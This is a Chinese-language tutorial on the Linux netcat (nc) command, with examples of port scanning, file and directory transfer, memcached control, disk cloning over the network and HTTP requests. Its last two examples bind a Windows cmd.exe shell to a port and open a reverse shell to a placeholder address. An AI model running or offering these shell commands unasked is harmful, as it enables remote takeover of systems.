**linux nc命令使用详解**

功能说明：功能强大的网络工具

语　　法：nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

参　　数：

-g<网关> 设置路由器跃程通信网关，最丢哦可设置8个。

-G<指向器数目> 设置来源路由指向器，其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔，以便传送信息及扫描通信端口。

-l 使用监听模式，管控传入的资料。

-n 直接使用IP地址，而不通过域名服务器。

-o<输出文件> 指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-s<来源位址> 设置本地主机送出数据包的IP地址。

-u 使用UDP传输协议。

-v 详细输出--用两个-v可得到更详细的内容

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式，只在扫描通信端口时使用。

nc使用示例

1. 端口扫描

# nc -v -w 2 192.168.2.34 -z 21-24

nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused

Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!

nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused

nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused

2. 从192.168.2.33拷贝文件到192.168.2.34

在192.168.2.34上： nc -l 1234 > test.txt

在192.168.2.33上： nc 192.168.2.34 < test.txt

3. 简单聊天工具

在192.168.2.34上： nc -l 1234

在192.168.2.33上： nc 192.168.2.34 1234

这样，双方就可以相互交流了。使用ctrl+C(或D）退出。

4. 用nc命令操作memcached

1）存储数据：printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211

2）获取数据：printf “get keyrn” |nc 192.168.2.34 11211

3）删除数据：printf “delete keyrn” |nc 192.168.2.34 11211

4）查看状态：printf “statsrn” |nc 192.168.2.34 11211

5）模拟top命令查看状态：watch “echo stats” |nc 192.168.2.34 11211

6）清空缓存：printf “flush\_allrn” |nc 192.168.2.34 11211 (小心操作，清空了缓存就没了）

5. nc -p 1234 -w 5 host.example.com 80

建立从本地1234端口到host.example.com的80端口连接，5秒超时

nc -u host.example.com 53

u为UDP连接

6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

连接到主机并执行

7. nc -v -z host.example.com 70-80

扫描端口(70到80)，可指定范围。-v输出详细信息。

8. 远程拷贝文件

从server1拷贝文件到server2上。需要先在server2上，用nc激活监听，

server2上运行：

root@hatest2 tmp]# nc -lp 1234 > install.log

server1上运行：

[root@hatest1 ~]# ll install.log

-rw-r–r– 1 root root 39693 12月 20 2007 install.log

[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

9. 克隆硬盘或分区

操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。

克隆硬盘或分区的操作，不应在已经mount的的系统上进行。所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工 具光盘）启动系统后，在server2上进行类似的监听动作：

# nc -l -p 1234 | dd of=/dev/sda

server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：

# dd if=/dev/sda | nc 192.168.228.222 1234

※ 完成上述工作的前提，是需要落实光盘的拯救模式支持服务器上的网卡，并正确配置IP。

10. 保存Web页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

11. 模拟HTTP Headers,获取网页源代码和返回头部信息

[root@hatest1 ~]# nc 80

GET / HTTP/1.1

Host: ispconfig.org

Referrer: mypage.com

User-Agent: my-browser

HTTP/1.1 200 OK

Date: Tue, 16 Dec 2008 07:23:24 GMT

Server: Apache/2.2.6 (Unix) DAV/2 mod\_mono/1.2.1 mod\_python/3.2.8 Python/2.4.3 mod\_perl/2.0.2 Perl/v5.8.8

Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/

Expires: 0

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Cache-Control: private, post-check=0, pre-check=0, max-age=0

Set-Cookie: oWn\_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/

Vary: Accept-Encoding

Transfer-Encoding: chunked

Content-Type: text/html

[......]

在nc命令后，输入红色部分的内容，然后按两次回车，即可从对方获得HTTP Headers内容。

12. 传输目录

从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上，用nc激活监听，server2上运行：

引用

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1上运行：

引用

[root@hatest1 ~]# ll -d nginx-0.6.34

drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34

[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234

13.REMOTE主机绑定SHELL

例子：

格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

14.REMOTE主机绑定SHELL并反向连接

例子：

格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法（其实NC的用法还有很多，

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）。